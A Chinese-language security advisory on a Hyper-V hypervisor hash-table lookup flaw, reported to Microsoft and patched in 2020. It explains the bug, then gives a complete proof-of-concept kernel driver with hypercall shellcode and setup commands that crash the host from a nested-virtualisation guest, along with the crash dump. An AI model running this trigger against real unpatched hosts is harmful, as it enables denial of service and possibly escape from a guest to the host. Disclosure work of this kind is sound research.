0x00 影响平台
Windows 10.0.18363.418
Hyper-V内核版本18362 x64
早期版本也受影响。
0x01 技术细节
Hyper-V的一些hypervisor组件中使用了一个哈希表的实现,通过在结构体的定义中嵌入一个entry
字段,可以把对象链接起来,类似链表的LIST_ENTRY
的用法。
entry的结构可定义如下:
struct entry
{
struct entry *next;
unsigned long key;
};
包含entry
字段的哈希表对象的key
对应的值被初始化为-1,这一项用作遍历表时的结束标志。如果攻击者搜索值-1,查找函数的一个漏洞将导致调用者认为搜索成功,且查找函数会返回这个末尾表项。调用者会认为这是表中的普通有效表项,接着去使用它。
哈希表对象的结构体中的部分字段如下:
- 桶的数量
- 元素的数量
- 指向桶(至多30个)的指针数组
- 末尾表项
entry
,其key=-1
且next=NULL
- 指向表头的指针(初始化为末尾表项)
我们关心的字段是哈希表结构中内嵌的末尾表项和表头,从表头出发可以得到表中所有元素。表头初始化为指向末尾表项。
所有元素链接在一起,按key升序排列。桶用来索引表项,以便加速查找时间。
当插入元素或者查找key时,原始key进行如下变换:
key = reverse_bits64(key) | 1
key的最高位丢失了,导致可能出现key碰撞:k' = k ^ (1 << 63)
。如果原始key未进行明确比较的话,这可能导致安全问题。一些理论上的攻击情形包括:
- 用key
k
无权访问某个对象,但用keyk'
却可以通过检查而进行访问 - 可以用
k'
来删除k
- 预先插入对象
k'
从而使后续k
的插入失败
目前尚未发现这些潜在的问题真正出现,但是使用这种实现时应当加以注意。
桶有自己的表元素和keys,以如下方式产生:
>>> def keys(bucket_count):
... return [list(range((1 << x) & ~1, (1 << (x+1)) & ~1))
... for x in range(0, bucket_count)]
例如有4个桶,那么产生的keys为:
>>> keys(4)
[[0, 1], [2, 3], [4, 5, 6, 7], [8, 9, 10, 11, 12, 13, 14, 15]]
这些keys也进行位反转,但不和1进行或操作,保证其在查找时不会和通常的元素keys匹配。
最后是遍历函数,在元素放入表中某部位(由桶索引)后调用遍历函数。此时必须遍历元素来寻找匹配的key。
bool __fastcall fun_traversal(struct entry *list_head, unsigned __int64 key,
volatile signed __int64 **pPrevious, volatile signed __int64 **pCurrent)
{
struct entry *head; // rbx
struct entry *previous; // r10
struct entry *current; // rax
struct entry *_next; // rcx
struct entry *next; // rcx
head = list_head;
LABEL_2:
previous = head;
for ( current = (head->next & 0xFFFFFFFFFFFFFFFEui64); ; current = next )
{
_next = current->next;
*pPrevious = previous;
*pCurrent = current;
if ( !(_next & 1) )
break;
next = (_next & 0xFFFFFFFFFFFFFFFEui64);
if ( current != _InterlockedCompareExchange(previous, next, current) )
goto LABEL_2;
LABEL_7:
;
}
if ( *¤t->key < key )
{
previous = current;
next = (_next & 0xFFFFFFFFFFFFFFFEui64);
goto LABEL_7;
}
return *¤t->key == key;
}
该函数遍历给定的表,从head
开始,直到找到大于等于key
参数的key。参数pPrevious
和pCurrent
被设为最后访问的表项的地址。如果找到了key,返回true
,否则返回false
。
进行查找的代码会期望遍历函数在key未找到时返回false
,但是如果我们查找的是末尾表项的key(-1)的话,因为-1的二进制位全为1,所以与1或的操作无法保护它,函数将会返回true
,而pCurrent
则指向末尾表项。
只需搜索key0xffffffffffffffff
就可以触发这个问题,碰撞的key0x7fffffffffffffff
也会产生此行为。
如上所述,返回的表项类似于LIST_ENTRY
字段,所以要计算所对应的对象的基地址,就需要减去字段的偏移:
CONTAINING_RECORD(resulting_base, struct obj_type, entry_field)
因为返回的地址是末尾表项的地址,对其应用CONTAINING_RECORD
将会返回哈希表对象内部(或其下方)的任意地址。调用者会认为这是所期望的对象类型,而接着对这个任意指针进行操作。
0x02 影响
该漏洞的影响范围取决于影响着最终的偏移地址的一些条件,漏洞可以潜在导致任意代码执行。
这些条件例如:
- 调用者的对象大小和entry字段的偏移
- 发行版/平台间结构体布局的差异
0x03 PoC
以下PoC可触发漏洞,使用了HvFlushGuestPhysicalAddressSpace
hypercall,我们认为这是最简单的触发路径。
需要在Windows客户机中加载驱动,且客户机开启嵌套虚拟化,禁用Hyper-V。
主机运行:
Set-VMProcessor -VMName poc_vm -ExposeVirtualizationExtensions $true
客户机运行(需要重启):
bcdedit /set hypervisorlaunchtype off
#include <intrin.h>
#include <intrin.h>
#include <ntddk.h>
#include <wdf.h>
#include <initguid.h>
EXTERN_C_START
DRIVER_INITIALIZE DriverEntry;
EXTERN_C_END
#ifdef ALLOC_PRAGMA
#pragma alloc_text (INIT, DriverEntry)
#endif
#pragma code_seg(push, r1, ".text")
__declspec(allocate(".text")) BYTE trigger[] =
{
0x48, 0x89, 0xC8, // mov rax, rcx hypercall page
0xB9, 0xAF, 0x00, 0x01, 0x00, // mov ecx, 0x100af
0x48, 0xBA, 0xFF, 0xFF, 0xFF, // HvFlushGuestPhysicalAddressSpace
0xFF, 0xFF, 0xFF, 0xFF, 0x7F, // mov rdx,0x7fffffffffffffff GPA
0x4D, 0x31, 0xC0, // xor r8,r8 flags
0xFF, 0xD0 // call rax
};
#pragma code_seg(pop, r1)
typedef void(* TriggerCall)(void *hc_page);
typedef union hv_x64_msr_contents
{
UINT64 as_uint64;
struct
{
UINT64 enable : 1;
UINT64 reserved : 11;
UINT64 guest_physical_address : 52;
} u;
} hv_msr_contents;
#define HV_X64_MSR_GUEST_OS_ID 0x40000000
#define HV_X64_MSR_HYPERCALL 0x40000001
#define HV_X64_MSR_VP_ASSIST_PAGE 0x40000073
#define CR4_VMXE (1 << 13)
#define CPUID_FEAT_ECX_VMX (1 << 5)
#define MSR_IA32_VMX_BASIC 0x480
__declspec(align(0x1000)) UINT32 vmxon_page[1024];
__declspec(align(0x1000)) UINT32 assist_page[1024];
NTSTATUS enable_vmxe(void)
{
int cpuInfo[4];
NTSTATUS status = STATUS_NOT_IMPLEMENTED;
__cpuid(cpuInfo, 1);
if (cpuInfo[2] & CPUID_FEAT_ECX_VMX)
{
UINT64 cr4 = __readcr4();
UINT64 pvmxon_page = MmGetPhysicalAddress(&vmxon_page).QuadPart;
KdPrint(("[+] Virtualization support detected"));
if (!(cr4 & CR4_VMXE))
{
KdPrint(("[+] Enabling VMXE..."));
__writecr4(cr4 | CR4_VMXE);
}
memset(vmxon_page, 0, sizeof(vmxon_page));
vmxon_page[0] = (UINT32) __readmsr(MSR_IA32_VMX_BASIC);
KdPrint(("[+] VMX revision %x", vmxon_page[0]));
KdPrint(("[+] Entering monitor mode..."));
if (__vmx_on(&pvmxon_page))
KdPrint(("[-] VMXON failed"));
else
status = STATUS_SUCCESS;
}
return status;
}
NTSTATUS
DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath
)
{
void* hypercall_page;
hv_msr_contents hc_page, assist;
PHYSICAL_ADDRESS pa_hcpage;
NTSTATUS status = enable_vmxe();
if (!NT_SUCCESS(status))
return status;
hc_page.as_uint64 = __readmsr(HV_X64_MSR_HYPERCALL);
pa_hcpage.QuadPart = hc_page.u.guest_physical_address << PAGE_SHIFT;
hypercall_page = MmMapIoSpace(pa_hcpage, PAGE_SIZE, MmNonCached);
memset(&assist_page, 0, sizeof(assist_page));
assist.as_uint64 = MmGetPhysicalAddress(&assist_page).QuadPart;
assist.u.enable = 1;
__writemsr(HV_X64_MSR_VP_ASSIST_PAGE, assist.as_uint64);
((TriggerCall)trigger)(hypercall_page); // Boom
return status;
}
PoC中,基址计算的结果是对哈希表对象的桶数的偏移,应返回的对象第一个字段是传给下一个函数的指针。函数得到的是0x10(桶数),然后对其解引用导致系统崩溃。
Access violation - code c0000005 (!!! second chance !!!)
hv+0x30548c:
fffffbf3`a090548c 488b01 mov rax,qword ptr [rcx]
3: kd> r rcx
rcx=0000000000000010
3: kd> kb
# RetAddr : Args to
Child : Call Site
00 fffffbf3`a0904cce : ffffe802`c5604190 ffffe802`c56048c0
00000000`00000003 ffffe802`c5608050 : hv+0x30548c
01 fffffbf3`a09026f3 : ffffe802`c5604050 fffffbf3`a1201068
00000000`00000001 fffffbf3`a090f7e9 : hv+0x304cce
02 fffffbf3`a08b6363 : 00000000`00000010 ffff9d86`d2a8f7b8
00000000`00000000 00000000`00000000 : hv+0x3026f3
03 fffffbf3`a0829068 : 00000000`00000000 00000000`00000002
00000000`00000000 fffffbf3`a082ea1e : hv+0x2b6363
04 fffffbf3`a0828cf2 : 00000000`00000000 fffffbf3`a08255c1
ffffe802`c5608050 fffffbf3`a081d842 : hv+0x229068
05 fffffbf3`a081e1de : 00000000`00000000 00000000`0010003a
00000000`0010003a 00000000`000100af : hv+0x228cf2
06 fffffbf3`a08734f6 : 00000000`00000000 ffffe802`c5608000
00000000`800000ff 00000000`00000001 : hv+0x21e1de
07 00000000`00000000 : 00000000`00000000 00000000`00000000
00000000`00000000 00000000`00000000 : hv+0x2734f6
0x04 时间线
2020-06-02:漏洞报告发送至secure@microsoft.com
2020-07-21:微软确认奖金15000美元
2020-09-08:微软发布补丁